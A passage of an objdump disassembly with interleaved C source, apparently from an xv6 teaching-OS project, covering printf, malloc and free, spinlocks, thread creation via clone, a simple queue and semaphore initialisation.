b1e: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
b22: 75 2d jne b51 <printf+0xa7>
printint(fd, *ap, 10, 1);
b24: 8b 45 e8 mov -0x18(%ebp),%eax
b27: 8b 00 mov (%eax),%eax
b29: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp)
b30: 00
b31: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp)
b38: 00
b39: 89 44 24 04 mov %eax,0x4(%esp)
b3d: 8b 45 08 mov 0x8(%ebp),%eax
b40: 89 04 24 mov %eax,(%esp)
b43: e8 aa fe ff ff call 9f2 <printint>
ap++;
b48: 83 45 e8 04 addl $0x4,-0x18(%ebp)
b4c: e9 ec 00 00 00 jmp c3d <printf+0x193>
} else if(c == 'x' || c == 'p'){
b51: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
b55: 74 06 je b5d <printf+0xb3>
b57: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
b5b: 75 2d jne b8a <printf+0xe0>
printint(fd, *ap, 16, 0);
b5d: 8b 45 e8 mov -0x18(%ebp),%eax
b60: 8b 00 mov (%eax),%eax
b62: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
b69: 00
b6a: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp)
b71: 00
b72: 89 44 24 04 mov %eax,0x4(%esp)
b76: 8b 45 08 mov 0x8(%ebp),%eax
b79: 89 04 24 mov %eax,(%esp)
b7c: e8 71 fe ff ff call 9f2 <printint>
ap++;
b81: 83 45 e8 04 addl $0x4,-0x18(%ebp)
b85: e9 b3 00 00 00 jmp c3d <printf+0x193>
} else if(c == 's'){
b8a: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
b8e: 75 45 jne bd5 <printf+0x12b>
s = (char*)*ap;
b90: 8b 45 e8 mov -0x18(%ebp),%eax
b93: 8b 00 mov (%eax),%eax
b95: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
b98: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
b9c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
ba0: 75 09 jne bab <printf+0x101>
s = "(null)";
ba2: c7 45 f4 ab 13 00 00 movl $0x13ab,-0xc(%ebp)
while(*s != 0){
ba9: eb 1e jmp bc9 <printf+0x11f>
bab: eb 1c jmp bc9 <printf+0x11f>
putc(fd, *s);
bad: 8b 45 f4 mov -0xc(%ebp),%eax
bb0: 0f b6 00 movzbl (%eax),%eax
bb3: 0f be c0 movsbl %al,%eax
bb6: 89 44 24 04 mov %eax,0x4(%esp)
bba: 8b 45 08 mov 0x8(%ebp),%eax
bbd: 89 04 24 mov %eax,(%esp)
bc0: e8 05 fe ff ff call 9ca <putc>
s++;
bc5: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
bc9: 8b 45 f4 mov -0xc(%ebp),%eax
bcc: 0f b6 00 movzbl (%eax),%eax
bcf: 84 c0 test %al,%al
bd1: 75 da jne bad <printf+0x103>
bd3: eb 68 jmp c3d <printf+0x193>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
bd5: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
bd9: 75 1d jne bf8 <printf+0x14e>
putc(fd, *ap);
bdb: 8b 45 e8 mov -0x18(%ebp),%eax
bde: 8b 00 mov (%eax),%eax
be0: 0f be c0 movsbl %al,%eax
be3: 89 44 24 04 mov %eax,0x4(%esp)
be7: 8b 45 08 mov 0x8(%ebp),%eax
bea: 89 04 24 mov %eax,(%esp)
bed: e8 d8 fd ff ff call 9ca <putc>
ap++;
bf2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
bf6: eb 45 jmp c3d <printf+0x193>
} else if(c == '%'){
bf8: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
bfc: 75 17 jne c15 <printf+0x16b>
putc(fd, c);
bfe: 8b 45 e4 mov -0x1c(%ebp),%eax
c01: 0f be c0 movsbl %al,%eax
c04: 89 44 24 04 mov %eax,0x4(%esp)
c08: 8b 45 08 mov 0x8(%ebp),%eax
c0b: 89 04 24 mov %eax,(%esp)
c0e: e8 b7 fd ff ff call 9ca <putc>
c13: eb 28 jmp c3d <printf+0x193>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
c15: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp)
c1c: 00
c1d: 8b 45 08 mov 0x8(%ebp),%eax
c20: 89 04 24 mov %eax,(%esp)
c23: e8 a2 fd ff ff call 9ca <putc>
putc(fd, c);
c28: 8b 45 e4 mov -0x1c(%ebp),%eax
c2b: 0f be c0 movsbl %al,%eax
c2e: 89 44 24 04 mov %eax,0x4(%esp)
c32: 8b 45 08 mov 0x8(%ebp),%eax
c35: 89 04 24 mov %eax,(%esp)
c38: e8 8d fd ff ff call 9ca <putc>
}
state = 0;
c3d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
c44: 83 45 f0 01 addl $0x1,-0x10(%ebp)
c48: 8b 55 0c mov 0xc(%ebp),%edx
c4b: 8b 45 f0 mov -0x10(%ebp),%eax
c4e: 01 d0 add %edx,%eax
c50: 0f b6 00 movzbl (%eax),%eax
c53: 84 c0 test %al,%al
c55: 0f 85 71 fe ff ff jne acc <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
c5b: c9 leave
c5c: c3 ret
00000c5d <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
c5d: 55 push %ebp
c5e: 89 e5 mov %esp,%ebp
c60: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
c63: 8b 45 08 mov 0x8(%ebp),%eax
c66: 83 e8 08 sub $0x8,%eax
c69: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
c6c: a1 94 18 00 00 mov 0x1894,%eax
c71: 89 45 fc mov %eax,-0x4(%ebp)
c74: eb 24 jmp c9a <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
c76: 8b 45 fc mov -0x4(%ebp),%eax
c79: 8b 00 mov (%eax),%eax
c7b: 3b 45 fc cmp -0x4(%ebp),%eax
c7e: 77 12 ja c92 <free+0x35>
c80: 8b 45 f8 mov -0x8(%ebp),%eax
c83: 3b 45 fc cmp -0x4(%ebp),%eax
c86: 77 24 ja cac <free+0x4f>
c88: 8b 45 fc mov -0x4(%ebp),%eax
c8b: 8b 00 mov (%eax),%eax
c8d: 3b 45 f8 cmp -0x8(%ebp),%eax
c90: 77 1a ja cac <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
c92: 8b 45 fc mov -0x4(%ebp),%eax
c95: 8b 00 mov (%eax),%eax
c97: 89 45 fc mov %eax,-0x4(%ebp)
c9a: 8b 45 f8 mov -0x8(%ebp),%eax
c9d: 3b 45 fc cmp -0x4(%ebp),%eax
ca0: 76 d4 jbe c76 <free+0x19>
ca2: 8b 45 fc mov -0x4(%ebp),%eax
ca5: 8b 00 mov (%eax),%eax
ca7: 3b 45 f8 cmp -0x8(%ebp),%eax
caa: 76 ca jbe c76 <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
cac: 8b 45 f8 mov -0x8(%ebp),%eax
caf: 8b 40 04 mov 0x4(%eax),%eax
cb2: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
cb9: 8b 45 f8 mov -0x8(%ebp),%eax
cbc: 01 c2 add %eax,%edx
cbe: 8b 45 fc mov -0x4(%ebp),%eax
cc1: 8b 00 mov (%eax),%eax
cc3: 39 c2 cmp %eax,%edx
cc5: 75 24 jne ceb <free+0x8e>
bp->s.size += p->s.ptr->s.size;
cc7: 8b 45 f8 mov -0x8(%ebp),%eax
cca: 8b 50 04 mov 0x4(%eax),%edx
ccd: 8b 45 fc mov -0x4(%ebp),%eax
cd0: 8b 00 mov (%eax),%eax
cd2: 8b 40 04 mov 0x4(%eax),%eax
cd5: 01 c2 add %eax,%edx
cd7: 8b 45 f8 mov -0x8(%ebp),%eax
cda: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
cdd: 8b 45 fc mov -0x4(%ebp),%eax
ce0: 8b 00 mov (%eax),%eax
ce2: 8b 10 mov (%eax),%edx
ce4: 8b 45 f8 mov -0x8(%ebp),%eax
ce7: 89 10 mov %edx,(%eax)
ce9: eb 0a jmp cf5 <free+0x98>
} else
bp->s.ptr = p->s.ptr;
ceb: 8b 45 fc mov -0x4(%ebp),%eax
cee: 8b 10 mov (%eax),%edx
cf0: 8b 45 f8 mov -0x8(%ebp),%eax
cf3: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
cf5: 8b 45 fc mov -0x4(%ebp),%eax
cf8: 8b 40 04 mov 0x4(%eax),%eax
cfb: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
d02: 8b 45 fc mov -0x4(%ebp),%eax
d05: 01 d0 add %edx,%eax
d07: 3b 45 f8 cmp -0x8(%ebp),%eax
d0a: 75 20 jne d2c <free+0xcf>
p->s.size += bp->s.size;
d0c: 8b 45 fc mov -0x4(%ebp),%eax
d0f: 8b 50 04 mov 0x4(%eax),%edx
d12: 8b 45 f8 mov -0x8(%ebp),%eax
d15: 8b 40 04 mov 0x4(%eax),%eax
d18: 01 c2 add %eax,%edx
d1a: 8b 45 fc mov -0x4(%ebp),%eax
d1d: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
d20: 8b 45 f8 mov -0x8(%ebp),%eax
d23: 8b 10 mov (%eax),%edx
d25: 8b 45 fc mov -0x4(%ebp),%eax
d28: 89 10 mov %edx,(%eax)
d2a: eb 08 jmp d34 <free+0xd7>
} else
p->s.ptr = bp;
d2c: 8b 45 fc mov -0x4(%ebp),%eax
d2f: 8b 55 f8 mov -0x8(%ebp),%edx
d32: 89 10 mov %edx,(%eax)
freep = p;
d34: 8b 45 fc mov -0x4(%ebp),%eax
d37: a3 94 18 00 00 mov %eax,0x1894
}
d3c: c9 leave
d3d: c3 ret
00000d3e <morecore>:
static Header*
morecore(uint nu)
{
d3e: 55 push %ebp
d3f: 89 e5 mov %esp,%ebp
d41: 83 ec 28 sub $0x28,%esp
char *p;
Header *hp;
if(nu < 4096)
d44: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
d4b: 77 07 ja d54 <morecore+0x16>
nu = 4096;
d4d: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp)
p = sbrk(nu * sizeof(Header));
d54: 8b 45 08 mov 0x8(%ebp),%eax
d57: c1 e0 03 shl $0x3,%eax
d5a: 89 04 24 mov %eax,(%esp)
d5d: e8 28 fc ff ff call 98a <sbrk>
d62: 89 45 f4 mov %eax,-0xc(%ebp)
if(p == (char*)-1)
d65: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
d69: 75 07 jne d72 <morecore+0x34>
return 0;
d6b: b8 00 00 00 00 mov $0x0,%eax
d70: eb 22 jmp d94 <morecore+0x56>
hp = (Header*)p;
d72: 8b 45 f4 mov -0xc(%ebp),%eax
d75: 89 45 f0 mov %eax,-0x10(%ebp)
hp->s.size = nu;
d78: 8b 45 f0 mov -0x10(%ebp),%eax
d7b: 8b 55 08 mov 0x8(%ebp),%edx
d7e: 89 50 04 mov %edx,0x4(%eax)
free((void*)(hp + 1));
d81: 8b 45 f0 mov -0x10(%ebp),%eax
d84: 83 c0 08 add $0x8,%eax
d87: 89 04 24 mov %eax,(%esp)
d8a: e8 ce fe ff ff call c5d <free>
return freep;
d8f: a1 94 18 00 00 mov 0x1894,%eax
}
d94: c9 leave
d95: c3 ret
00000d96 <malloc>:
void*
malloc(uint nbytes)
{
d96: 55 push %ebp
d97: 89 e5 mov %esp,%ebp
d99: 83 ec 28 sub $0x28,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
d9c: 8b 45 08 mov 0x8(%ebp),%eax
d9f: 83 c0 07 add $0x7,%eax
da2: c1 e8 03 shr $0x3,%eax
da5: 83 c0 01 add $0x1,%eax
da8: 89 45 ec mov %eax,-0x14(%ebp)
if((prevp = freep) == 0){
dab: a1 94 18 00 00 mov 0x1894,%eax
db0: 89 45 f0 mov %eax,-0x10(%ebp)
db3: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
db7: 75 23 jne ddc <malloc+0x46>
base.s.ptr = freep = prevp = &base;
db9: c7 45 f0 8c 18 00 00 movl $0x188c,-0x10(%ebp)
dc0: 8b 45 f0 mov -0x10(%ebp),%eax
dc3: a3 94 18 00 00 mov %eax,0x1894
dc8: a1 94 18 00 00 mov 0x1894,%eax
dcd: a3 8c 18 00 00 mov %eax,0x188c
base.s.size = 0;
dd2: c7 05 90 18 00 00 00 movl $0x0,0x1890
dd9: 00 00 00
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
ddc: 8b 45 f0 mov -0x10(%ebp),%eax
ddf: 8b 00 mov (%eax),%eax
de1: 89 45 f4 mov %eax,-0xc(%ebp)
if(p->s.size >= nunits){
de4: 8b 45 f4 mov -0xc(%ebp),%eax
de7: 8b 40 04 mov 0x4(%eax),%eax
dea: 3b 45 ec cmp -0x14(%ebp),%eax
ded: 72 4d jb e3c <malloc+0xa6>
if(p->s.size == nunits)
def: 8b 45 f4 mov -0xc(%ebp),%eax
df2: 8b 40 04 mov 0x4(%eax),%eax
df5: 3b 45 ec cmp -0x14(%ebp),%eax
df8: 75 0c jne e06 <malloc+0x70>
prevp->s.ptr = p->s.ptr;
dfa: 8b 45 f4 mov -0xc(%ebp),%eax
dfd: 8b 10 mov (%eax),%edx
dff: 8b 45 f0 mov -0x10(%ebp),%eax
e02: 89 10 mov %edx,(%eax)
e04: eb 26 jmp e2c <malloc+0x96>
else {
p->s.size -= nunits;
e06: 8b 45 f4 mov -0xc(%ebp),%eax
e09: 8b 40 04 mov 0x4(%eax),%eax
e0c: 2b 45 ec sub -0x14(%ebp),%eax
e0f: 89 c2 mov %eax,%edx
e11: 8b 45 f4 mov -0xc(%ebp),%eax
e14: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
e17: 8b 45 f4 mov -0xc(%ebp),%eax
e1a: 8b 40 04 mov 0x4(%eax),%eax
e1d: c1 e0 03 shl $0x3,%eax
e20: 01 45 f4 add %eax,-0xc(%ebp)
p->s.size = nunits;
e23: 8b 45 f4 mov -0xc(%ebp),%eax
e26: 8b 55 ec mov -0x14(%ebp),%edx
e29: 89 50 04 mov %edx,0x4(%eax)
}
freep = prevp;
e2c: 8b 45 f0 mov -0x10(%ebp),%eax
e2f: a3 94 18 00 00 mov %eax,0x1894
return (void*)(p + 1);
e34: 8b 45 f4 mov -0xc(%ebp),%eax
e37: 83 c0 08 add $0x8,%eax
e3a: eb 38 jmp e74 <malloc+0xde>
}
if(p == freep)
e3c: a1 94 18 00 00 mov 0x1894,%eax
e41: 39 45 f4 cmp %eax,-0xc(%ebp)
e44: 75 1b jne e61 <malloc+0xcb>
if((p = morecore(nunits)) == 0)
e46: 8b 45 ec mov -0x14(%ebp),%eax
e49: 89 04 24 mov %eax,(%esp)
e4c: e8 ed fe ff ff call d3e <morecore>
e51: 89 45 f4 mov %eax,-0xc(%ebp)
e54: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
e58: 75 07 jne e61 <malloc+0xcb>
return 0;
e5a: b8 00 00 00 00 mov $0x0,%eax
e5f: eb 13 jmp e74 <malloc+0xde>
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
e61: 8b 45 f4 mov -0xc(%ebp),%eax
e64: 89 45 f0 mov %eax,-0x10(%ebp)
e67: 8b 45 f4 mov -0xc(%ebp),%eax
e6a: 8b 00 mov (%eax),%eax
e6c: 89 45 f4 mov %eax,-0xc(%ebp)
return (void*)(p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
e6f: e9 70 ff ff ff jmp de4 <malloc+0x4e>
}
e74: c9 leave
e75: c3 ret
00000e76 <xchg>:
asm volatile("sti");
}
static inline uint
xchg(volatile uint *addr, uint newval)
{
e76: 55 push %ebp
e77: 89 e5 mov %esp,%ebp
e79: 83 ec 10 sub $0x10,%esp
uint result;
// The + in "+m" denotes a read-modify-write operand.
asm volatile("lock; xchgl %0, %1" :
e7c: 8b 55 08 mov 0x8(%ebp),%edx
e7f: 8b 45 0c mov 0xc(%ebp),%eax
e82: 8b 4d 08 mov 0x8(%ebp),%ecx
e85: f0 87 02 lock xchg %eax,(%edx)
e88: 89 45 fc mov %eax,-0x4(%ebp)
"+m" (*addr), "=a" (result) :
"1" (newval) :
"cc");
return result;
e8b: 8b 45 fc mov -0x4(%ebp),%eax
}
e8e: c9 leave
e8f: c3 ret
00000e90 <lock_init>:
#include "mmu.h"
#include "spinlock.h"
#include "x86.h"
#include "proc.h"
void lock_init(lock_t *lock){
e90: 55 push %ebp
e91: 89 e5 mov %esp,%ebp
lock->locked = 0;
e93: 8b 45 08 mov 0x8(%ebp),%eax
e96: c7 00 00 00 00 00 movl $0x0,(%eax)
}
e9c: 5d pop %ebp
e9d: c3 ret
00000e9e <lock_acquire>:
void lock_acquire(lock_t *lock){
e9e: 55 push %ebp
e9f: 89 e5 mov %esp,%ebp
ea1: 83 ec 08 sub $0x8,%esp
while(xchg(&lock->locked,1) != 0);
ea4: 90 nop
ea5: 8b 45 08 mov 0x8(%ebp),%eax
ea8: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
eaf: 00
eb0: 89 04 24 mov %eax,(%esp)
eb3: e8 be ff ff ff call e76 <xchg>
eb8: 85 c0 test %eax,%eax
eba: 75 e9 jne ea5 <lock_acquire+0x7>
}
ebc: c9 leave
ebd: c3 ret
00000ebe <lock_release>:
void lock_release(lock_t *lock){
ebe: 55 push %ebp
ebf: 89 e5 mov %esp,%ebp
ec1: 83 ec 08 sub $0x8,%esp
xchg(&lock->locked,0);
ec4: 8b 45 08 mov 0x8(%ebp),%eax
ec7: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
ece: 00
ecf: 89 04 24 mov %eax,(%esp)
ed2: e8 9f ff ff ff call e76 <xchg>
}
ed7: c9 leave
ed8: c3 ret
00000ed9 <thread_create>:
void *thread_create(void(*start_routine)(void*), void *arg){
ed9: 55 push %ebp
eda: 89 e5 mov %esp,%ebp
edc: 83 ec 28 sub $0x28,%esp
int tid;
void * stack = malloc(2 * 4096);
edf: c7 04 24 00 20 00 00 movl $0x2000,(%esp)
ee6: e8 ab fe ff ff call d96 <malloc>
eeb: 89 45 f4 mov %eax,-0xc(%ebp)
void *garbage_stack = stack;
eee: 8b 45 f4 mov -0xc(%ebp),%eax
ef1: 89 45 f0 mov %eax,-0x10(%ebp)
// printf(1,"start routine addr : %d\n",(uint)start_routine);
if((uint)stack % 4096){
ef4: 8b 45 f4 mov -0xc(%ebp),%eax
ef7: 25 ff 0f 00 00 and $0xfff,%eax
efc: 85 c0 test %eax,%eax
efe: 74 14 je f14 <thread_create+0x3b>
stack = stack + (4096 - (uint)stack % 4096);
f00: 8b 45 f4 mov -0xc(%ebp),%eax
f03: 25 ff 0f 00 00 and $0xfff,%eax
f08: 89 c2 mov %eax,%edx
f0a: b8 00 10 00 00 mov $0x1000,%eax
f0f: 29 d0 sub %edx,%eax
f11: 01 45 f4 add %eax,-0xc(%ebp)
}
if (stack == 0){
f14: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
f18: 75 1b jne f35 <thread_create+0x5c>
printf(1,"malloc fail \n");
f1a: c7 44 24 04 b2 13 00 movl $0x13b2,0x4(%esp)
f21: 00
f22: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f29: e8 7c fb ff ff call aaa <printf>
return 0;
f2e: b8 00 00 00 00 mov $0x0,%eax
f33: eb 6f jmp fa4 <thread_create+0xcb>
}
tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg);
f35: 8b 4d 0c mov 0xc(%ebp),%ecx
f38: 8b 55 08 mov 0x8(%ebp),%edx
f3b: 8b 45 f4 mov -0xc(%ebp),%eax
f3e: 89 4c 24 0c mov %ecx,0xc(%esp)
f42: 89 54 24 08 mov %edx,0x8(%esp)
f46: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp)
f4d: 00
f4e: 89 04 24 mov %eax,(%esp)
f51: e8 4c fa ff ff call 9a2 <clone>
f56: 89 45 ec mov %eax,-0x14(%ebp)
if(tid < 0){
f59: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
f5d: 79 1b jns f7a <thread_create+0xa1>
printf(1,"clone fails\n");
f5f: c7 44 24 04 c0 13 00 movl $0x13c0,0x4(%esp)
f66: 00
f67: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f6e: e8 37 fb ff ff call aaa <printf>
return 0;
f73: b8 00 00 00 00 mov $0x0,%eax
f78: eb 2a jmp fa4 <thread_create+0xcb>
}
if(tid > 0){
f7a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
f7e: 7e 05 jle f85 <thread_create+0xac>
//store threads on thread table
return garbage_stack;
f80: 8b 45 f0 mov -0x10(%ebp),%eax
f83: eb 1f jmp fa4 <thread_create+0xcb>
}
if(tid == 0){
f85: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
f89: 75 14 jne f9f <thread_create+0xc6>
printf(1,"tid = 0 return \n");
f8b: c7 44 24 04 cd 13 00 movl $0x13cd,0x4(%esp)
f92: 00
f93: c7 04 24 01 00 00 00 movl $0x1,(%esp)
f9a: e8 0b fb ff ff call aaa <printf>
}
// wait();
// free(garbage_stack);
return 0;
f9f: b8 00 00 00 00 mov $0x0,%eax
}
fa4: c9 leave
fa5: c3 ret
00000fa6 <random>:
unsigned long rands = 1;
// generate 0 -> max random number exclude max.
int random(int max){
fa6: 55 push %ebp
fa7: 89 e5 mov %esp,%ebp
rands = rands * 1664525 + 1013904233;
fa9: a1 6c 18 00 00 mov 0x186c,%eax
fae: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax
fb4: 05 69 f3 6e 3c add $0x3c6ef369,%eax
fb9: a3 6c 18 00 00 mov %eax,0x186c
return (int)(rands % max);
fbe: a1 6c 18 00 00 mov 0x186c,%eax
fc3: 8b 4d 08 mov 0x8(%ebp),%ecx
fc6: ba 00 00 00 00 mov $0x0,%edx
fcb: f7 f1 div %ecx
fcd: 89 d0 mov %edx,%eax
fcf: 5d pop %ebp
fd0: c3 ret
00000fd1 <init_q>:
#include "queue.h"
#include "types.h"
#include "user.h"
void init_q(struct queue *q){
fd1: 55 push %ebp
fd2: 89 e5 mov %esp,%ebp
q->size = 0;
fd4: 8b 45 08 mov 0x8(%ebp),%eax
fd7: c7 00 00 00 00 00 movl $0x0,(%eax)
q->head = 0;
fdd: 8b 45 08 mov 0x8(%ebp),%eax
fe0: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
fe7: 8b 45 08 mov 0x8(%ebp),%eax
fea: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
ff1: 5d pop %ebp
ff2: c3 ret
00000ff3 <add_q>:
void add_q(struct queue *q, int v){
ff3: 55 push %ebp
ff4: 89 e5 mov %esp,%ebp
ff6: 83 ec 28 sub $0x28,%esp
struct node * n = malloc(sizeof(struct node));
ff9: c7 04 24 08 00 00 00 movl $0x8,(%esp)
1000: e8 91 fd ff ff call d96 <malloc>
1005: 89 45 f4 mov %eax,-0xc(%ebp)
n->next = 0;
1008: 8b 45 f4 mov -0xc(%ebp),%eax
100b: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
n->value = v;
1012: 8b 45 f4 mov -0xc(%ebp),%eax
1015: 8b 55 0c mov 0xc(%ebp),%edx
1018: 89 10 mov %edx,(%eax)
if(q->head == 0){
101a: 8b 45 08 mov 0x8(%ebp),%eax
101d: 8b 40 04 mov 0x4(%eax),%eax
1020: 85 c0 test %eax,%eax
1022: 75 0b jne 102f <add_q+0x3c>
q->head = n;
1024: 8b 45 08 mov 0x8(%ebp),%eax
1027: 8b 55 f4 mov -0xc(%ebp),%edx
102a: 89 50 04 mov %edx,0x4(%eax)
102d: eb 0c jmp 103b <add_q+0x48>
}else{
q->tail->next = n;
102f: 8b 45 08 mov 0x8(%ebp),%eax
1032: 8b 40 08 mov 0x8(%eax),%eax
1035: 8b 55 f4 mov -0xc(%ebp),%edx
1038: 89 50 04 mov %edx,0x4(%eax)
}
q->tail = n;
103b: 8b 45 08 mov 0x8(%ebp),%eax
103e: 8b 55 f4 mov -0xc(%ebp),%edx
1041: 89 50 08 mov %edx,0x8(%eax)
q->size++;
1044: 8b 45 08 mov 0x8(%ebp),%eax
1047: 8b 00 mov (%eax),%eax
1049: 8d 50 01 lea 0x1(%eax),%edx
104c: 8b 45 08 mov 0x8(%ebp),%eax
104f: 89 10 mov %edx,(%eax)
}
1051: c9 leave
1052: c3 ret
00001053 <empty_q>:
int empty_q(struct queue *q){
1053: 55 push %ebp
1054: 89 e5 mov %esp,%ebp
if(q->size == 0)
1056: 8b 45 08 mov 0x8(%ebp),%eax
1059: 8b 00 mov (%eax),%eax
105b: 85 c0 test %eax,%eax
105d: 75 07 jne 1066 <empty_q+0x13>
return 1;
105f: b8 01 00 00 00 mov $0x1,%eax
1064: eb 05 jmp 106b <empty_q+0x18>
else
return 0;
1066: b8 00 00 00 00 mov $0x0,%eax
}
106b: 5d pop %ebp
106c: c3 ret
0000106d <pop_q>:
int pop_q(struct queue *q){
106d: 55 push %ebp
106e: 89 e5 mov %esp,%ebp
1070: 83 ec 28 sub $0x28,%esp
int val;
struct node *destroy;
if(!empty_q(q)){
1073: 8b 45 08 mov 0x8(%ebp),%eax
1076: 89 04 24 mov %eax,(%esp)
1079: e8 d5 ff ff ff call 1053 <empty_q>
107e: 85 c0 test %eax,%eax
1080: 75 5d jne 10df <pop_q+0x72>
val = q->head->value;
1082: 8b 45 08 mov 0x8(%ebp),%eax
1085: 8b 40 04 mov 0x4(%eax),%eax
1088: 8b 00 mov (%eax),%eax
108a: 89 45 f4 mov %eax,-0xc(%ebp)
destroy = q->head;
108d: 8b 45 08 mov 0x8(%ebp),%eax
1090: 8b 40 04 mov 0x4(%eax),%eax
1093: 89 45 f0 mov %eax,-0x10(%ebp)
q->head = q->head->next;
1096: 8b 45 08 mov 0x8(%ebp),%eax
1099: 8b 40 04 mov 0x4(%eax),%eax
109c: 8b 50 04 mov 0x4(%eax),%edx
109f: 8b 45 08 mov 0x8(%ebp),%eax
10a2: 89 50 04 mov %edx,0x4(%eax)
free(destroy);
10a5: 8b 45 f0 mov -0x10(%ebp),%eax
10a8: 89 04 24 mov %eax,(%esp)
10ab: e8 ad fb ff ff call c5d <free>
q->size--;
10b0: 8b 45 08 mov 0x8(%ebp),%eax
10b3: 8b 00 mov (%eax),%eax
10b5: 8d 50 ff lea -0x1(%eax),%edx
10b8: 8b 45 08 mov 0x8(%ebp),%eax
10bb: 89 10 mov %edx,(%eax)
if(q->size == 0){
10bd: 8b 45 08 mov 0x8(%ebp),%eax
10c0: 8b 00 mov (%eax),%eax
10c2: 85 c0 test %eax,%eax
10c4: 75 14 jne 10da <pop_q+0x6d>
q->head = 0;
10c6: 8b 45 08 mov 0x8(%ebp),%eax
10c9: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
q->tail = 0;
10d0: 8b 45 08 mov 0x8(%ebp),%eax
10d3: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax)
}
return val;
10da: 8b 45 f4 mov -0xc(%ebp),%eax
10dd: eb 05 jmp 10e4 <pop_q+0x77>
}
return -1;
10df: b8 ff ff ff ff mov $0xffffffff,%eax
}
10e4: c9 leave
10e5: c3 ret
000010e6 <sem_init>:
#include "types.h"
#include "user.h"
#include "semaphore.h"
void
sem_init(struct semaphore *s, int size){
10e6: 55 push %ebp
10e7: 89 e5 mov %esp,%ebp
10e9: 83 ec 18 sub $0x18,%esp
s->size = size;
10ec: 8b 45 08 mov 0x8(%ebp),%eax
10ef: 8b 55 0c mov 0xc(%ebp),%edx
10f2: 89 50 08 mov %edx,0x8(%eax)
s->count = size;
10f5: 8b 45 08 mov 0x8(%ebp),%eax
10f8: 8b 55 0c mov 0xc(%ebp),%edx
10fb: 89 50 04 mov %edx,0x4(%eax)
lock_init(&s->lock);
10fe: 8b 45 08 mov 0x8(%ebp),%eax
1101: 89 04 24 mov %eax,(%esp)
1104: e8 87 fd ff ff call e90 <lock_init>
}
1109: c9 leave
110a: c3 ret
0000110b <sem_init_full>:
void
sem_init_full(struct semaphore *s, int size){
110b: 55 push %ebp
110c: 89 e5 mov %esp,%ebp
110e: 83 ec 18 sub $0x18,%esp
s->size = size;
1111: 8b 45 08 mov 0x8(%ebp),%eax
1114: 8b 55 0c mov 0xc(%ebp),%edx
1117: 89 50 08 mov %edx,0x8(%eax)
s->count= 0;
111a: 8b 45 08 mov 0x8(%ebp),%eax
111d: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
lock_init(&s->lock);
1124: 8b 45 08 mov 0x8(%ebp),%eax
1127: 89 04 24 mov %eax,(%esp)
112a: e8 61 fd ff ff call e90 <lock_init>
}
112f: c9 leave
1130: c3 ret
